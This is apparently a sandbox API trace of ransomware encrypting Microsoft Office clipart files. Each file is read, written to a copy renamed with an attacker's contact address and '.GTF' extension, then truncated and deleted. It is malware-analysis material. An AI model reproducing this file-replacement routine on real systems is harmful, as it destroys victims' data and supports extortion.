	[0084.743] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf")) returned 1
	[0084.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0084.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0084.743] lstrlenW (lpString=".doc") returned 4
	[0084.743] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.743] lstrlenW (lpString=".docx") returned 5
	[0084.743] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.743] lstrlenW (lpString=".pdf") returned 4
	[0084.743] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.743] lstrlenW (lpString=".xls") returned 4
	[0084.743] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.743] lstrlenW (lpString=".xlsx") returned 5
	[0084.743] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.743] lstrlenW (lpString=".ppt") returned 4
	[0084.743] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0084.743] lstrlenW (lpString=".zip") returned 4
	[0084.743] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.743] lstrlenW (lpString=".rar") returned 4
	[0084.743] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.744] lstrlenW (lpString=".bz2") returned 4
	[0084.744] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.744] lstrlenW (lpString=".7z") returned 3
	[0084.744] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0084.744] lstrlenW (lpString=".dbf") returned 4
	[0084.744] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0084.744] lstrlenW (lpString=".1cd") returned 4
	[0084.744] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0084.744] lstrlenW (lpString=".jpg") returned 4
	[0084.744] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0084.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0084.744] lstrlenW (lpString=".doc") returned 4
	[0084.744] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.744] lstrlenW (lpString=".docx") returned 5
	[0084.744] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.744] lstrlenW (lpString=".pdf") returned 4
	[0084.744] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.744] lstrlenW (lpString=".xls") returned 4
	[0084.744] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.744] lstrlenW (lpString=".xlsx") returned 5
	[0084.744] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.744] lstrlenW (lpString=".ppt") returned 4
	[0084.744] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0084.744] lstrlenW (lpString=".zip") returned 4
	[0084.744] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.744] lstrlenW (lpString=".rar") returned 4
	[0084.745] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.745] lstrlenW (lpString=".bz2") returned 4
	[0084.745] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.745] lstrlenW (lpString=".7z") returned 3
	[0084.745] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0084.745] lstrlenW (lpString=".dbf") returned 4
	[0084.745] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0084.745] lstrlenW (lpString=".1cd") returned 4
	[0084.745] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0084.745] lstrlenW (lpString=".jpg") returned 4
	[0084.745] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.745] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0084.745] lstrlenW (lpString="BS00441_.WMF") returned 12
	[0084.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0084.745] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=3524) returned 1
	[0084.745] CloseHandle (hObject=0x33c) returned 1
	[0084.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf")) returned 0x220
	[0084.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0084.746] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.746] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0084.746] GetLastError () returned 0x0
	[0084.746] ReadFile (in: hFile=0x33c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0xdc4, lpOverlapped=0x0) returned 1
	[0084.757] WriteFile (in: hFile=0x388, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xdd0, lpOverlapped=0x0) returned 1
	[0084.758] ReadFile (in: hFile=0x33c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.758] WriteFile (in: hFile=0x388, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.758] SetEndOfFile (hFile=0x388) returned 1
	[0084.758] CloseHandle (hObject=0x388) returned 1
	[0084.760] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.760] SetEndOfFile (hFile=0x33c) returned 1
	[0084.761] CloseHandle (hObject=0x33c) returned 1
	[0084.761] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0084.762] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf")) returned 1
	[0084.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0084.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0084.762] lstrlenW (lpString=".doc") returned 4
	[0084.762] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.762] lstrlenW (lpString=".docx") returned 5
	[0084.762] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.762] lstrlenW (lpString=".pdf") returned 4
	[0084.762] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.762] lstrlenW (lpString=".xls") returned 4
	[0084.762] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.762] lstrlenW (lpString=".xlsx") returned 5
	[0084.762] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.762] lstrlenW (lpString=".ppt") returned 4
	[0084.762] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0084.762] lstrlenW (lpString=".zip") returned 4
	[0084.762] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.762] lstrlenW (lpString=".rar") returned 4
	[0084.762] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.762] lstrlenW (lpString=".bz2") returned 4
	[0084.762] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.762] lstrlenW (lpString=".7z") returned 3
	[0084.762] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0084.762] lstrlenW (lpString=".dbf") returned 4
	[0084.763] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0084.763] lstrlenW (lpString=".1cd") returned 4
	[0084.763] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0084.763] lstrlenW (lpString=".jpg") returned 4
	[0084.763] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0084.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0084.763] lstrlenW (lpString=".doc") returned 4
	[0084.763] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.763] lstrlenW (lpString=".docx") returned 5
	[0084.763] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.763] lstrlenW (lpString=".pdf") returned 4
	[0084.763] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.763] lstrlenW (lpString=".xls") returned 4
	[0084.763] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.763] lstrlenW (lpString=".xlsx") returned 5
	[0084.763] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.763] lstrlenW (lpString=".ppt") returned 4
	[0084.763] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0084.763] lstrlenW (lpString=".zip") returned 4
	[0084.763] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.763] lstrlenW (lpString=".rar") returned 4
	[0084.763] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.763] lstrlenW (lpString=".bz2") returned 4
	[0084.763] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.763] lstrlenW (lpString=".7z") returned 3
	[0084.763] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0084.763] lstrlenW (lpString=".dbf") returned 4
	[0084.763] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0084.763] lstrlenW (lpString=".1cd") returned 4
	[0084.763] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0084.764] lstrlenW (lpString=".jpg") returned 4
	[0084.764] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.764] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0084.764] lstrlenW (lpString="BS00442_.WMF") returned 12
	[0084.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0084.764] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=2488) returned 1
	[0084.764] CloseHandle (hObject=0x33c) returned 1
	[0084.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf")) returned 0x220
	[0084.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0084.764] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.765] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0084.765] GetLastError () returned 0x0
	[0084.765] ReadFile (in: hFile=0x33c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x9b8, lpOverlapped=0x0) returned 1
	[0084.774] WriteFile (in: hFile=0x388, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x9c0, lpOverlapped=0x0) returned 1
	[0084.775] ReadFile (in: hFile=0x33c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.775] WriteFile (in: hFile=0x388, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.776] SetEndOfFile (hFile=0x388) returned 1
	[0084.776] CloseHandle (hObject=0x388) returned 1
	[0084.776] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.776] SetEndOfFile (hFile=0x33c) returned 1
	[0084.777] CloseHandle (hObject=0x33c) returned 1
	[0084.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0084.778] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf")) returned 1
	[0084.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0084.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0084.778] lstrlenW (lpString=".doc") returned 4
	[0084.778] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.778] lstrlenW (lpString=".docx") returned 5
	[0084.778] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.778] lstrlenW (lpString=".pdf") returned 4
	[0084.778] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.778] lstrlenW (lpString=".xls") returned 4
	[0084.778] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.778] lstrlenW (lpString=".xlsx") returned 5
	[0084.778] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.778] lstrlenW (lpString=".ppt") returned 4
	[0084.778] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0084.778] lstrlenW (lpString=".zip") returned 4
	[0084.778] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.778] lstrlenW (lpString=".rar") returned 4
	[0084.778] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.778] lstrlenW (lpString=".bz2") returned 4
	[0084.778] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.778] lstrlenW (lpString=".7z") returned 3
	[0084.778] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0084.778] lstrlenW (lpString=".dbf") returned 4
	[0084.778] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0084.778] lstrlenW (lpString=".1cd") returned 4
	[0084.778] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0084.779] lstrlenW (lpString=".jpg") returned 4
	[0084.779] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0084.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0084.779] lstrlenW (lpString=".doc") returned 4
	[0084.779] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.779] lstrlenW (lpString=".docx") returned 5
	[0084.779] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.779] lstrlenW (lpString=".pdf") returned 4
	[0084.779] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.779] lstrlenW (lpString=".xls") returned 4
	[0084.779] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.779] lstrlenW (lpString=".xlsx") returned 5
	[0084.779] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.779] lstrlenW (lpString=".ppt") returned 4
	[0084.779] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0084.779] lstrlenW (lpString=".zip") returned 4
	[0084.779] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.779] lstrlenW (lpString=".rar") returned 4
	[0084.779] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.779] lstrlenW (lpString=".bz2") returned 4
	[0084.779] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.779] lstrlenW (lpString=".7z") returned 3
	[0084.779] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0084.779] lstrlenW (lpString=".dbf") returned 4
	[0084.779] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0084.779] lstrlenW (lpString=".1cd") returned 4
	[0084.779] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0084.779] lstrlenW (lpString=".jpg") returned 4
	[0084.779] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.780] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0084.780] lstrlenW (lpString="BS00443_.WMF") returned 12
	[0084.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0084.780] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=1676) returned 1
	[0084.780] CloseHandle (hObject=0x33c) returned 1
	[0085.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf")) returned 0x220
	[0085.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0085.145] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.145] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0085.148] GetLastError () returned 0x0
	[0085.158] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x68c, lpOverlapped=0x0) returned 1
	[0085.177] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x690, lpOverlapped=0x0) returned 1
	[0085.178] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.178] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.178] SetEndOfFile (hFile=0x37c) returned 1
	[0085.179] CloseHandle (hObject=0x37c) returned 1
	[0085.180] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.180] SetEndOfFile (hFile=0x390) returned 1
	[0085.180] CloseHandle (hObject=0x390) returned 1
